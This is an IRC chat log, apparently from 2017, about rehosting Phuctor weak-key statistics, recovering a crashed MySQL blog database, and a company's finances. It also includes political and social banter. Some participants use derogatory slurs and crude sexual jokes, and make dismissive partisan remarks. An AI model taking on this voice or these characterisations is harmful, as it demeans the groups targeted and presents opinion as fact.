extraction) ? 1638833;1491484993;asciilifeform;mircea_popescu: yes, 1s 1638834;1491485009;mircea_popescu;shave like a megabyte off this turd 1638835;1491485023;Framedragger;yes in retrospect i did not expect for there to be so many pops lol. 1638836;1491485033;Framedragger;result is large turd 1638837;1491485074;Framedragger;asciilifeform: MEng here means 'master of engineering' (which can include software engineering, yesyes), not mech 1638838;1491485084;asciilifeform;http://btcbase.org/log/2016-12-08#1579779 << mircea_popescu 1638839;1491485084;a111;Logged on 2016-12-08 15:43 asciilifeform: e.g., for ip in `curl -s http://phuctor.nosuchlabs.com/phuctored | grep "ssh-rsa key from" | cut -d' ' -f23 | sort | uniq`; do ...something with $ip..... done 1638840;1491485128;mircea_popescu;asciilifeform i want the whole tabke is the issue. 1638841;1491485138;asciilifeform;what means 'whole table' 1638842;1491485141;asciilifeform;modulus ? 1638843;1491485150;mircea_popescu;i am taking the entire table as found on stats page and putting it on trilema. 1638844;1491485156;mircea_popescu;whole table. html tags and all. 1638845;1491485163;mircea_popescu;i just made the urls absolute 1638846;1491485165;asciilifeform;why not just include the html you get from the above curl ? 1638847;1491485181;mircea_popescu;because it'd exclude non ssh keys for instance. 1638848;1491485186;asciilifeform;http://www.loper-os.org/pub/snap/ph_snap.html << example 1638849;1491485187;asciilifeform;aaah 1638850;1491485193;mircea_popescu;whole table. see ? 1638851;1491485198;asciilifeform;want a csv ? 1638852;1491485211;mircea_popescu;nope. ideally i just want to... copy... teh table :D 1638853;1491485231;mircea_popescu;now, how do i tell awk to turn the blather quoted above into the intended result ? hm ? HM ? 1638854;1491485283;Framedragger;btw asciilifeform mircea_popescu i'm rehosting the main '/stats' page here, autoredownload every 5min (handles http timeout cases): http://siphnos.mkj.lt/phuctor-stats/ 1638855;1491485289;asciilifeform;neato Framedragger 1638856;1491485317;asciilifeform;does it mirror the sub-pages also ? 1638857;1491485328;Framedragger;i sed'ed the relative urls, as in "Submit GPG Key", to point them to phuctor, etc 1638858;1491485331;Framedragger;not yet! 1638859;1491485342;mircea_popescu; /phuctored would be good. 1638860;1491485347;Framedragger;yah. 1638861;1491485423;asciilifeform;aseriousgogetta (~Kimberley@ip-64-134-144-245.public.wayport.net) has joined #trilema << hey mircea_popescu , can haz hammer ? every time that monkey's connection cycles, i feel like a chimp is throwing shit in my face 1638862;1491485429;Framedragger;mircea_popescu: if you're planning to rehost, maybe useful (very simplistic, i've just put this into cron for now): http://siphnos.mkj.lt/phuctor-stats/download-stats.sh 1638863;1491485457;asciilifeform;Framedragger: i think he wants ~only~ the ssh keys 1638864;1491485491;Framedragger;ah right right, ok 1638865;1491485494;mircea_popescu;what ? 1638866;1491485501;mircea_popescu;no i don't. i want... omfg 4th time.. THE WHOLE TABLE 1638867;1491485550;asciilifeform;ah so just lift the html you get from /phuctored . problem solved ? 1638868;1491485557;asciilifeform;what's missing ? 1638869;1491485602;mircea_popescu;consider the string : "hurr\n1-1-1-1\ndurr\n2-2-2-2\nfoo54-54-54-54". the job is to turn it into "hurr\n1\ndurr\n2\nfoo\n54" 1638870;1491485603;mircea_popescu;now then. 1638871;1491485621;mircea_popescu;asciilifeform it's not missing, it has an extra 1 megabyte of Framedragger 's hello world 1638872;1491485626;asciilifeform;aaaaaah 1638873;1491485633;mircea_popescu;(which is very good and useful as it is, not the problem there. but gotta fix it here) 1638874;1491485655;Framedragger;http://btcbase.org/log/2016-12-25#1590428 1638875;1491485655;a111;Logged on 2016-12-25 16:02 phf: http://btcbase.org/log/2016-12-25#1590416 << http://www.youtube.com/watch?v=lIpev8JXJHQ&t=0m53s 1638876;1491490071;asciilifeform;meanwhile, in monkeystan, https://archive.is/z8x2c >> 'You don't handle sarin-saturated bodies *without gloves* - unless you're a Syrian rebel trying to pull off yet another hoax.' 1638877;1491490098;asciilifeform;all the while, mr.t read official speech 'i changed my mind...' etc, is poised to fight the clitler wars. 1638878;1491490185;mircea_popescu;changed what mind ? 1638879;1491490245;asciilifeform;e.g. https://archive.is/V5zbs 1638880;1491490268;asciilifeform;'These heinous actions by the Assad regime cannot be tolerated' etc. 1638881;1491490272;mircea_popescu;heh. 1638882;1491490290;mircea_popescu;well, old man lasted almost half a year. 1638883;1491490411;asciilifeform;mircea_popescu finally cured of 'maga' ? 1638884;1491490425;mircea_popescu;ahem ? 1638885;1491490450;asciilifeform;well of 'apparatchiks won't pay their mortgages', 'berkeley starves', etc 1638886;1491490500;mircea_popescu;ah, no. 1638887;1491490516;mircea_popescu;that's not something i, or anyone else, can be "cured" of. 1638888;1491490542;Framedragger;http://btcbase.org/log/2017-04-06#1638854 << k found time to improve this, /phuctored is now being hosted/cached as well (and link to /phuctored on the index stats page links to the cached version) 1638889;1491490542;a111;Logged on 2017-04-06 13:28 Framedragger: btw asciilifeform mircea_popescu i'm rehosting the main '/stats' page here, autoredownload every 5min (handles http timeout cases): http://siphnos.mkj.lt/phuctor-stats/ 1638890;1491490583;Framedragger;will keep an eye on this in case the hasty cron job screws up at some point. 1638891;1491490641;Framedragger;i guess it could host /sadmods and /dupes as well - attempt redownload every few hours? (it will only update the linked cached html in case new download is in fact successful) 1638892;1491490704;Framedragger;!#s tmsr wiki 1638893;1491490705;a111;7 results for "tmsr wiki", http://btcbase.org/log-search?q=tmsr%20wiki 1638894;1491490711;mircea_popescu;aaaand in other lulz...trilema can't actually hold a 3mb data dumb. 1638895;1491490749;Framedragger;mircea_popescu: you're putting it in mysql aren't you, and making php generate a table or sth? 1638896;1491490760;mircea_popescu;yep. 1638897;1491490779;Framedragger;maybe just some shitty limit in webserver/php/wherever, modifiable 1638898;1491490793;shinohai;Heh, shocking move: http://archive.is/ZMfJe 1638899;1491490801;shinohai;I too can pun arstechnica 1638900;1491490978;Framedragger;so on account of that n-gate guy being reachable via twitter only, and me not wanting to miss any replies, i've actually had to visit twitter lately. my homepage now is http://imgur.com/a/aTcpY and fuck this shit 1638901;1491491131;phf;"i'm what's known as `twitter funny`. -- what does that mean? -- not funny" 1638902;1491491147;mircea_popescu;Framedragger mught as well tell him where to show up an' thassat. 1638903;1491491179;Framedragger;i did! i managed to compliment him, direct him to #trilema, and (hopefully) not appear as an idiot in one tweet 1638904;1491491185;*;mircea_popescu is undeterred, created sql file, is importing it, which apparently takes A WHILE 1638905;1491491211;*;mircea_popescu is steeling self for discovering mysql dosn't allow over x bytes in any one column or such closely managed nonsense 1638906;1491491322;Framedragger;what's the column data type mircea_popescu 1638907;1491491419;mircea_popescu;lel apparently i crashed the db. 1638908;1491491420;mircea_popescu;nice. 1638909;1491491422;Framedragger;apparently mysql recommends storing large data/text blobs in separate table 1638910;1491491423;trinque;ahaha 1638911;1491491436;mircea_popescu;oy vey. 1638912;1491491439;trinque;and good morning! 1638913;1491491458;Framedragger;another pleasant morning of kicking DBs 1638914;1491491517;mircea_popescu;# service mysql status 1638915;1491491517;mircea_popescu; SUCCESS! MySQL running (2421) 1638916;1491491518;mircea_popescu;hurr 1638917;1491491565;mircea_popescu;o check it out, amanged to trash the articvles table! 1638918;1491491604;shinohai;This is why shinohai decided that if were to update wp-mo, it would use plain txt files and completely burn mysql to the ground. 1638919;1491491614;shinohai;*wp-mp 1638920;1491491755;mircea_popescu;well apparently trilema's going to be offline for a while for reasons of unexpected explosion. 1638921;1491491788;shinohai;Thanks Obama 1638922;1491491793;mircea_popescu;in other lulz : mysql use db; results in... the process simply hanging. > 1 minue by now. 1638923;1491491808;mircea_popescu;because why ? because OH MY FUCKING GOD SOMEONE RAN A 2MB SQL an hour ago!!1 1638924;1491491986;Framedragger;hmh it should at least fail, or sth. is it still running mircea_popescu? can you do `show processlist` with separate mysql client session? (NB, am not a mysql guy) 1638925;1491491994;mircea_popescu;it is still running. 1638926;1491491997;Framedragger;there's a KILL QUERY 1638927;1491492008;Framedragger;but mebbe you want to keep it running 1638928;1491492051;mircea_popescu;there's a "repair by sorting" going and five billion agents waiting for metadata lock 1638929;1491492053;mircea_popescu;which holy shit. 1638930;1491492058;Framedragger;i wonder if it's due to data type misuse, or just mysqlol 1638931;1491492062;mircea_popescu;why is there a metadata lock and how do i turn it off 1638932;1491492073;Framedragger;oh god 1638933;1491492082;trinque;mysql's kinda notorious for this shit 1638934;1491492222;mircea_popescu;ERROR 1040 (HY000): Too many connections 1638935;1491492228;mircea_popescu;apparently mysql will refuse CONNECTIONS FROM ROOT 1638936;1491492237;mircea_popescu;on the basis of too many dorks hammering it on the www! 1638937;1491492320;asciilifeform;woah 1638938;1491492351;asciilifeform;welcome to sql hell mircea_popescu 1638939;1491492369;*;asciilifeform has lived there for a while, knows where the good beaches and restaurants are. 1638940;1491492400;mircea_popescu;o yeah ? how do you turn "metadatalock" off lelz. 1638941;1491492401;trinque;the meat's all dancing cat 1638942;1491492416;mircea_popescu;turns out this whole "read while dirty" thing is "implemented" except notrly. 1638943;1491492446;asciilifeform;mircea_popescu: you don't , http://btcbase.org/log/2016-12-30#1593662 1638944;1491492446;a111;Logged on 2016-12-30 17:16 mircea_popescu: it really should be up to operator wtf, if i want to read dirty let me read dirty what sort of decision is this for designer to make. 1638945;1491492452;mircea_popescu;ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) 1638946;1491492459;mircea_popescu;# service mysql status 1638947;1491492459;mircea_popescu; ERROR! MySQL is not running, but lock file (/var/lock/subsys/mysql) exists 1638948;1491492462;asciilifeform;i suffered with this on postgres, and continue to. 1638949;1491492462;mircea_popescu;so i take it it croaked. 1638950;1491492484;asciilifeform;and looks like you gotta rm the lock file. 1638951;1491492706;Framedragger;do you still have a running mysql cli session mircea_popescu? 1638952;1491492721;Framedragger;i guess it's dead-dead, tho 1638953;1491492764;mircea_popescu;yes. 1638954;1491492773;mircea_popescu;no it's fine, trying to figure out how to rescue the table. 1638955;1491492776;Framedragger;there are ways to list/remove locks but i reeeeally dunno if it's a good idea 1638956;1491492810;Framedragger;ftr, useful SO answer (yes, SO): http://stackoverflow.com/a/13155778 1638957;1491492832;mircea_popescu;table isn't innodb. 1638958;1491493134;Framedragger;just curious, what is it then, myisam? 1638959;1491493167;mircea_popescu;yes 1638960;1491493275;mircea_popescu;insanely, i am still getting a lot of www requests, so i guess i incidentally found some other issue here as well. 1638961;1491493337;asciilifeform;lol, hey, nobody told the crawlers that the box is down 1638962;1491493357;mircea_popescu;but the box doesn't deliver, theoretically, anything but a text line now 1638963;1491493430;Framedragger;mircea_popescu: well you can still kill the particular mysql process which is handling the query, `show processlist` (may show "Waiting for table metadata lock" under "State" column; "Info" column should display the query in question), then `Kill IDGOESHERE` 1638964;1491493454;mircea_popescu;why'd i want to kill 150 processes by hand. let them timeout. 1638965;1491493520;Framedragger;(then `FLUSH TABLES` should remove any outstanding locks if still any; but don't take my word for it) 1638966;1491493545;mircea_popescu;so far the table is crashed, and the repair thing seems to take forever. 1638967;1491493546;Framedragger;150? no just the one which is still trying to import large blob (if still running) 1638968;1491493551;Framedragger;ok ugh. 1638969;1491493585;mircea_popescu;Framedragger you trying to tell me that process'd have somehow survived a mysql restart ? 1638970;1491493613;Framedragger;mircea_popescu: sorry i forgot or didn't know that you actually in fact restarted it. 1638971;1491493628;mircea_popescu;but no, they';re all selects. 1638972;1491493654;mircea_popescu;weirdly enough, also not timing out. how the fuck long can a thing waiot for a lock ? 1638973;1491493666;Framedragger;(aok. oh well then, light cigar while making DB destruction plans) 1638974;1491493739;mircea_popescu;i can't comprehend what'd possibly take this long to repair it. 1638975;1491493756;lobbes;Testing minigame.bz log quoting: http://logs.minigame.bz/2017-04-06.log.html#t00:05:55 1638976;1491493757;lobbesbot;Logged on 2017-04-06 00:05:55: until trinque's deedbot payment is on i dunno what lightweight to recommend you 1638977;1491493769;lobbes;Odd it didn't quote earlier 1638978;1491493795;Framedragger;nice 1638979;1491493802;lobbes;Mp must've been faster than it inserted into database 1638980;1491493869;mircea_popescu;hm ? 1638981;1491493902;Framedragger;asciilifeform: phuctor.nosuchlabs.com timing out, do you think this could be related to the cron cacher? (GET /stats every 5min, GET /phuctored every 60min) 1638982;1491493949;lobbes;mircea_popescu: Nah nothing really. I noticed you pasted that link earlier but bot didn't quote. I think you were just too fast for it 1638983;1491493958;asciilifeform;Framedragger: it dun load no moar... 1638984;1491493967;asciilifeform;and i have no means for discovering why 1638985;1491493967;lobbes;Or rather, my process too slow heh 1638986;1491493968;mircea_popescu;lel. 1638987;1491493980;asciilifeform;Framedragger: i recommend to turn off the hammerer. 1638988;1491493985;Framedragger;okay :D 1638989;1491494009;Framedragger;done 1638990;1491494016;asciilifeform;i will remind everyone that http://btcbase.org/log/2017-02-19#1615434 . 1638991;1491494016;a111;Logged on 2017-02-19 03:54 asciilifeform: (iirc we had a thread where i described how corporate ameritards, if given a problem like phuctor, would happily soak up a few $mil and megawatt of iron) 1638992;1491494024;asciilifeform;thing runs on the very edge of the possible. 1638993;1491494106;asciilifeform;the 'database' is an evil concept. 1638994;1491494114;mircea_popescu;if only. 99% of db is crud and causing the problem. 1638995;1491494133;mircea_popescu;entirely not fucking iron-bound problem in trilema case for instance. wtf can "repair table" need >1200 s ! 1638996;1491494138;asciilifeform;that's what 'db' is, a massive pile of shit that pretends to be 'one size fits all' data structure 1638997;1491494152;Framedragger;anyway http://siphnos.mkj.lt/phuctor-stats/ will continue to rehost phuctor stats (including http://siphnos.mkj.lt/phuctor-stats/phuctored.html), and will see about more lenient update times (5min is excessive anyway) 1638998;1491494166;mircea_popescu;and i am STILL, somehow, getting fucking agent loads. 1638999;1491494190;mircea_popescu;"every thing you do will resolve 99% of the problem at the most". always a little bit left. gah. 1639000;1491494197;Framedragger;maybe it's going thru full mysql tx log if you have one 1639001;1491494209;mircea_popescu;eh what tx. this is mysql. 1639002;1491494236;Framedragger;in mysql it's called 'binary log'. dunno if on by default tho 1639003;1491494246;mircea_popescu;load average: 0.01, 0.05, 0.21 <<< meanwhile i am... waiting... for it to... repair. 1639004;1491494251;mircea_popescu;how. the fuck. is this supposed to be sane 1639005;1491494271;mircea_popescu;0 indication of what this is. will it take another 6 weeks ? "maybe". how do i tell ? what do i do ? 1639006;1491494273;mircea_popescu;fucking bs. 1639007;1491494636;Framedragger;i'm waiting for the day that freenode goes down while datacenters with logotrons are experiencing issues. everyone's gonna freak out, there will be a new more urgent push for gossipd, it's gonna be great! 1639008;1491494733;asciilifeform;Framedragger: for some reason i am reminded of a cartoon i saw when i was very small, incidentally iirc it was made in some baltic country, where an eagle decides that frog is his son and threatens constantly to 'teach him to fly' by throwing from a cliff 1639009;1491494956;Framedragger;heh :) pretty soviet 1639010;1491495298;phf;it's pretty tmsr too. "if it can't fly, it doesn't deserve to live anyway" 1639011;1491495343;mircea_popescu;meh. in which we find trilema's posts data is 40g somehow. 1639012;1491495345;mircea_popescu;how the fuck ?! 1639013;1491495387;asciilifeform;mircea_popescu: i seem to recall ~200MB last time you tallied it and posted here (6 mo ago ?) 1639014;1491495393;mircea_popescu;just about. 1639015;1491495404;mircea_popescu;40439263232 Apr 6 11:12 tril_posts.MYD 1639016;1491495471;asciilifeform;that's several lifetimes worth of text, even if it consists of 1MB pastes... 1639017;1491495478;asciilifeform;something is off 1639018;1491495482;mircea_popescu;i have nfi. 1639019;1491495492;mircea_popescu;but mah disk is also full nao. 1639020;1491495656;mircea_popescu;last i saw MySQL Disk Space 596.29 MB, so evidently mysql "repair table" corrupted the table to shit. 1639021;1491495788;mircea_popescu;39491524 /var/lib/mysql/trilema_blog/tril_posts.MYD << reported by du | 40439263232 Apr 6 11:12 tril_posts.MYD << reported by ls -l 1639022;1491495795;mircea_popescu;im guessing this disk is fucked ? 1639023;1491495804;asciilifeform;du -h 1639024;1491495838;asciilifeform;39491524*512 == 20219660288 however 1639025;1491495843;asciilifeform;what's your sector size, mircea_popescu ? 1639026;1491495846;mircea_popescu;38G 1639027;1491495856;asciilifeform;looks like 1024 : 1639028;1491495868;mircea_popescu;ah 1639029;1491495875;asciilifeform;39491524*1024 == 40439320576 1639030;1491495887;asciilifeform;still not == 40439263232 tho, lol 1639031;1491495889;mircea_popescu;myeah. 1639032;1491495910;asciilifeform;(that du does not default to -h is one of the titanic retardations of the standard userland) 1639033;1491495913;mircea_popescu;well, ima reboot the machine. 1639034;1491495921;asciilifeform;(who the FUCK cares how many sectors!! something uses) 1639035;1491496010;phf;i usually pipe du through sort or awk >n. i kind of wish there was an "h" command instead that would take a column number an humanize that column 1639036;1491496042;asciilifeform;phf: ANYTHING defaulting to martian rather than human units, is unspeakable braindamage 1639037;1491496045;asciilifeform;just ditch the martian units. 1639038;1491496053;asciilifeform;if i want them, i can... divide the byte counts. 1639039;1491496214;hanbot;!~ticker 1639040;1491496216;jhvh1;hanbot: Bitfinex BTCUSD ticker | Best bid: 1174.7, Best ask: 1174.8, Bid-ask spread: 0.10000, Last trade: 1174.7, 24 hour volume: 29477.80773128, 24 hour low: 1120.3, 24 hour high: 1179.3, 24 hour vwap: None 1639041;1491496348;BingoBoingo; incredible. this is even legal ? << O hai I R the packet interceptor. Pls to pay again for delivery. 1639042;1491496928;mircea_popescu;sooo... i have 1.6 tb available du shows 38g. 1639043;1491496931;mircea_popescu;this is like the day of lulz. 1639044;1491496954;asciilifeform;what's the disjunction here ? 1639045;1491496962;asciilifeform;du shows occupied space, not free 1639046;1491497320;Framedragger;(mk /stats now updated every 30min, will see how that one goes. http://siphnos.mkj.lt/ updated to include link to the cached copy. will see if this gets indexed by google (main index page already is)) :) 1639047;1491497995;asciilifeform;in other lulz from upstack : Enphase Energy, Inc. (NASDAQ:ENPH) . 1639048;1491498000;asciilifeform;didjaknow. 1639049;1491498021;mircea_popescu;yeah. 1639050;1491498051;mircea_popescu;anyway, turns out the myslq files are stored on a tiny partition for some incomprehensible reason. fancy that wonder. 1639051;1491498093;asciilifeform;( aug. 3, 2016 : 'Enphase entered into a $25 million loan agreement with a lender specializing in "rescue financing" that furnishes capital "to avoid a restructuring or insolvency.'"' ) 1639052;1491498149;mircea_popescu;heh 1639053;1491498180;asciilifeform;( their spamola : https://archive.is/UjMhq << for expert entomologists only ) 1639054;1491498216;shinohai;"Enphase's storage technology is optimal for the masses." <<< Indeed! 1639055;1491498217;Framedragger;mebbe you had a separate /var partition from linux install long ago, mircea_popescu.. this can bite 1639056;1491498251;mircea_popescu;Framedragger for some reason root gets 50G and mysql for everything is stored in there. 1639057;1491498282;mircea_popescu;i still have nfi elephantiazis hit that poor file that it ended up 40g, but anyway, im moving the whole shebang on a tb partition and will see wtf myisamchk does. 1639058;1491498305;mircea_popescu;a superficial cat | strings | grep yielded a bunch of old stuff so it doesn't appear dataloss is guaranteed. 1639059;1491498353;Framedragger;well the default for DBs is to store things under /var. /var is under root unless specifically separate partition; or you tell db to store under /home/mircea/dbdata or sth. 1639060;1491498375;mircea_popescu;yes, i'm aware. now. 1639061;1491498393;Framedragger;not a boring day! 1639062;1491498450;mircea_popescu;my first time using any of these shits. prior to this morning i had nfi what /var/lib/mysql/ is or how you repair crashed mysql db or anything of the sort. 1639063;1491498461;mircea_popescu;this is also the first time a mysql db crashed in my personal experience. 1639064;1491498480;asciilifeform;i recall, we had a thread where mircea_popescu: 'it never once crashed' 1639065;1491498513;mircea_popescu;well now ++ 1639066;1491498520;scriba;Restarting for new command 1639067;1491498535;mircea_popescu;in fairness it's entirely my fault, i got bored with sql import and interrupted it. didn't work so well seeing how it was a write op. 1639068;1491498546;asciilifeform;fwiw since phuctor went form sqlite to postgres, i have not yet managed to crash the latter 1639069;1491498555;Framedragger;!$ phuctor 1639070;1491498555;scriba;Phuctor - main site: http://phuctor.nosuchlabs.com/ ; stats: http://siphnos.mkj.lt/phuctor-stats/ (cached) / http://phuctor.nosuchlabs.com/ (main source) ; ssh scanner - data: http://siphnos.mkj.lt/datadrop/ 1639071;1491498559;asciilifeform;(though to grind it to an ~unusable halt, for a long time -- is quite easy) 1639072;1491498565;Framedragger;^ new (trivial) command. a bunch of URLs so may be useful 1639073;1491498572;asciilifeform;neato Framedragger 1639074;1491498614;Framedragger;pete_dushenski: plox to update bot commands at some point, ty! :) 1639075;1491498636;asciilifeform;*went from 1639076;1491498654;Framedragger;asciilifeform: i also wonder if phuctor site my come under additional stress now that you removed those 'Disallow' entries from robots.txt :/ 1639077;1491498663;mircea_popescu;guaranteed. 1639078;1491498670;asciilifeform;Framedragger: theoretically 1639079;1491498688;mircea_popescu;google will definitely slurp 5mn pages in the next week-ish 1639080;1491498709;asciilifeform;mircea_popescu: the odd thing is, it did anyway -- until somewhat recently 1639081;1491498712;mircea_popescu;you (all of you, really) are very well linked since all the trilema mentions and etc. we've built like a coven 1639082;1491498724;Framedragger;in which case, may not want to do that till caching is in place, or sth. main thing is to have stats be accessible which is now cached anyway 1639083;1491498726;mircea_popescu;asciilifeform possibly those were just fake user agents ? 1639084;1491498747;asciilifeform;mircea_popescu: and they also stole the ip range of google corp ? 1639085;1491498756;mircea_popescu;a that no 1639086;1491498769;mircea_popescu;but i get tons of idiots trying to you know, spam trilema claiming to be googlebot. 1639087;1491498781;asciilifeform;these don't spam, no. they just crawl. 1639088;1491498795;asciilifeform;the folx throwing random rubbish into the submit box, are actually quite uncommon. 1639089;1491498803;asciilifeform;i suppose they can tell that there isn't actually a wordpress installed. 1639090;1491498821;asciilifeform;( once in a while some exceptionally poorly written spamatron shows up, which ~can't~ tell, on first try) 1639091;1491498961;mircea_popescu;aaanyway, seems it's cooking with gas now. we'll see. 1639092;1491499644;scriba;Restarting for URL fix 1639093;1491500190;jhvh1;I, jhvh1, am a wrathful bot 1639094;1491500557;mircea_popescu;lmao 1639095;1491500615;trinque;aw fuck that's what I get for typing a privmsg by hand 1639096;1491500699;asciilifeform;'February 16, 2017 ... Enphase Energy, Inc. (ENPH), a global energy technology company, today announced that it has refinanced and extended its term loan facility with certain funds managed by Tennenbaum Capital Partners ("TCP") from $25 million to $50 million.' 1639097;1491500705;asciilifeform;the miracle of printolade. 1639098;1491500785;asciilifeform;hey shinohai et al : they have a twatter! https://twitter.com/enphase 1639099;1491500826;*;shinohai will tweet them the trilema article along with tranny porn when trilema is back online .... 1639100;1491500850;BingoBoingo;shinohai: Be classy, amputee midgets 1639101;1491500865;shinohai;!~google amputee midgets 1639102;1491500866;jhvh1;shinohai: ' amputee midgets ' Search - XVIDEOS.COM: ; midget amputee super hot - YouTube: ; Urban Dictionary: interracial midget amputee necro-bestiality: 1639103;1491500877;asciilifeform;https://archive.is/k58t9 >> gourmet liquishit, e.g., 'The energy tech company with 350 employees has reported annual losses every year since it went public in 2012, including nearly $67.5 million worth of red ink last year. Since September, it has gone through two rounds of layoffs and raised about $26 million by issuing new stock and bringing in two major investors. Enphase officials say with confidence that a turnaround is underway 1639104;1491500877;asciilifeform; and the company is on track to make a profit in the second half of 2017. Its employees have worked to significantly cut the cost of producing its signature devices, microinverters that take DC, or direct current, power from solar panels and transform it into AC, or alternating current, power for homes.' 1639105;1491500878;shinohai;Damn, first results XVIDEOS 1639106;1491500919;asciilifeform;the way i currently understand the 'microinverter' nonsense, is that enphase found a further chineseification of the solar scamatron, by replacing the traditional massive dc-ac inverter with a multitude of small chinese turds, made for use in autos 1639107;1491500934;asciilifeform;idea is that schmuck won't notice when they fail 1639108;1491502175;mircea_popescu;asciilifeform obamafinance. 1639109;1491502223;mircea_popescu;but yes, that's pretty much exactly it. 1639110;1491502428;asciilifeform;pretty lulzy inversion of the usual corporate dynamic, where there are shareholders and they want growing profits; instead there is a printolade supplier, who wants manageable (or -- optimistically -- slowing!) bleed 1639111;1491502510;asciilifeform;at no point, interestingly, is there much of any kind of pressure to make a widget that ~actually works~ 1639112;1491502576;asciilifeform;!!up gabriel_laddel_p 1639113;1491502577;deedbot;gabriel_laddel_p voiced for 30 minutes. 1639114;1491502587;gabriel_laddel_p;https://docs.google.com/document/d/1tQ8nHp2wWD-U4c7l8FbZgW3GJfhni78hDZJH4ihKSpI/edit?usp=sharing 1639115;1491502603;gabriel_laddel_p;mircea_popescu: no wrap(80) for the archiver. 1639116;1491502611;gabriel_laddel_p;if someone has a problem with it, speak now 1639117;1491502618;gabriel_laddel_p;personally, I prefer the wrapping, but w/e 1639118;1491502624;asciilifeform;whatever it is, why does it HAVE to live on liquishithost 1639119;1491502631;asciilifeform;can haz human host ? 1639120;1491502635;gabriel_laddel_p;asciilifeform: nope. 1639121;1491502639;asciilifeform;wainot 1639122;1491502650;gabriel_laddel_p;because I go broke ~every week at least? 1639123;1491502679;asciilifeform;didn't somebody finally buy the gabriel_laddel_p box ..? 1639124;1491502699;gabriel_laddel_p;asciilifeform: people have offered, but unless I physically own the boxes, I'm not interested 1639125;1491502735;trinque;because you own your google cloud whatevers 1639126;1491502746;Framedragger;or kiwiirc.com 1639127;1491502747;*;CompanionCube has always preferred postgres to mysql 1639128;1491502789;gabriel_laddel_p;Framedragger: trinque: I'm interested in ditching the web & eventually x86 as a whole, not somuch in sanitizing my crappy setup. 1639129;1491502833;trinque;looks someday I'll take the longest bath anyone ever took. 1639130;1491502875;asciilifeform;lol 1639131;1491502899;gabriel_laddel_p;Oh, and the archiver will save both the text version & the previously posted rich webpage version with js, images & whatnot. 1639132;1491502923;mircea_popescu;ftr Framedragger : type was longtext 1639133;1491502942;asciilifeform;gabriel_laddel_p: where do you host this ? also google ? 1639134;1491502998;gabriel_laddel_p;asciilifeform: SF. I have a Masamune that will sit on here as a bot, archive all links that show up & git push them to github. 1639135;1491503003;Framedragger;mircea_popescu: hm.. okay. wonder why it failed. (i guess in the future consider LONGBLOB for this (and encode/decode as needed), but it wasn't..that large, even.. huh.) 1639136;1491503013;mircea_popescu;aha 1639137;1491503125;Framedragger;gabriel_laddel_p: ideally it would also save a full 'rich' version (whole DOM) but without JS, the way archive.is does 1639138;1491503131;Framedragger;!#s dump dom 1639139;1491503132;a111;3 results for "dump dom", http://btcbase.org/log-search?q=dump%20dom 1639140;1491503133;trinque;gabriel_laddel_p: why the FUCK would you spend any time whatsoever on doing it that way? 1639141;1491503144;*;Framedragger bbl 1639142;1491503201;ben_vulpes;buenos diiiiaaaaas 1639143;1491503224;trinque;in this thread we listen to how gabriel_laddel_p is very special, and you don't understand me mom 1639144;1491503248;gabriel_laddel_p;ben_vulpes: hello! 1639145;1491503265;shinohai;buenas tardes ben_vulpes, listo para cojer putas? 1639146;1491503269;trinque;and portage is seriously one coke bump from being ported to lisp. 1639147;1491503292;ben_vulpes;siempre, shinohai 1639148;1491503294;gabriel_laddel_p;Framedragger: I saw the discussion, and will not be doing a DOM dump because I'm not going to spend any time in the browser internals. 1639149;1491503298;shinohai;:D 1639150;1491503323;gabriel_laddel_p;Framedragger: and for future reference, I read all the logs, everytime. 1639151;1491503330;gabriel_laddel_p;trinque: by you? 1639152;1491503349;Framedragger;k. 1639153;1491503399;gabriel_laddel_p;trinque: ported to lisp at what level? Could you please describe in more detail? Eg, is there a new ebuild format, do you interpret the old one, do you have lisp that translates shell scripts... 1639154;1491503404;ben_vulpes;relevantly shinohai i was out at this performance of baroque french choral set, chamber music scale, and in between songs (which were very well done), there was much woke angsting about el pussy grabber in chief 1639155;1491503407;trinque;fucks sake kid I'm mocking you 1639156;1491503419;*;ben_vulpes could not refrain from grabbing the pussy with which he arrived 1639157;1491503439;ben_vulpes;i think that i may have been one of like 3 straight doods in the room; high lez factor 1639158;1491503453;asciilifeform;next day ben_vulpes went to a boar hunt, could not resist eating the bacon he brought in a bag himself... 1639159;1491503454;trinque;whatever, gay guys will grab titties all the time 1639160;1491503456;gabriel_laddel_p;trinque: oic. ftr I looked into doing this & decided against it. 1639161;1491503475;ben_vulpes;asciilifeform: well hey the singer i went to see wasn't in stripper mode during the choral performance 1639162;1491503490;shinohai;It's the sad part of enjoying any form of culture here too it seems, full of speshul snowflakes and sjw's 1639163;1491503594;ben_vulpes;shinohai: ask them what they think about menstrual leave 1639164;1491503606;ben_vulpes;feign total socialistoid embeddment 1639165;1491503641;shinohai;I want time off for male menopause, like a sabbatical. 1639166;1491503655;trinque;ben_vulpes: compulsory leave? 1639167;1491503677;ben_vulpes;"so i'm all for maternity and paternity leave, i have kids, it's just fantastic. and i've been thinking about other things that people should get state-sponsored leave for, and like aren't some women struck by totally debilitating menses? they should totally have time off for that." 1639168;1491503685;ben_vulpes;trinque: "TO THE BACK OF THE CARAVAN WITH YE" 1639169;1491503688;trinque;weew 1639170;1491503711;*;asciilifeform misread - 'male menses' 1639171;1491503748;ben_vulpes;"but then from a justice perspective it's just inherently gender inequitable, so i don't know! i just don't know." 1639172;1491503772;ben_vulpes;next to ubi menstrual leave is clear in the middle of the overton window. 1639173;1491503979;mircea_popescu;!~ud ubi 1639174;1491503979;jhvh1;mircea_popescu: Error: "ud" is not a valid command. 1639175;1491504018;trinque;http://p.bvulpes.com/pastes/rTF18/?raw=true << in other "help you in my own way" 1639176;1491504057;shinohai;toppest of keks 1639177;1491504066;*;mircea_popescu has recovered his db, is now fighting with monstrous conspiracy that swears on all voices "no dude it's legit, 40gb!" 1639178;1491504073;trinque;mircea_popescu: universal basic income 1639179;1491504076;mircea_popescu;ah 1639180;1491504146;ben_vulpes;everything must be free 1639181;1491504167;CompanionCube;I don't think that's the idea of UBI 1639182;1491504169;ben_vulpes;everything must be a pale simalacrum of something that existed as a real item at some point 1639183;1491504203;asciilifeform;CompanionCube: http://btcbase.org/log/2017-03-24#1632313 1639184;1491504203;a111;Logged on 2017-03-24 13:31 asciilifeform: Framedragger: aka landlord payola, lol 1639185;1491504205;ben_vulpes;CompanionCube: just try it some day 1639186;1491504250;asciilifeform;CompanionCube: and http://btcbase.org/log/2017-03-29#1634398 . 1639187;1491504250;a111;Logged on 2017-03-29 21:56 asciilifeform: ( the other funny detail, it certainly ain't ~everyone~ who'd get payola. certainly not dirty kulaks. ) 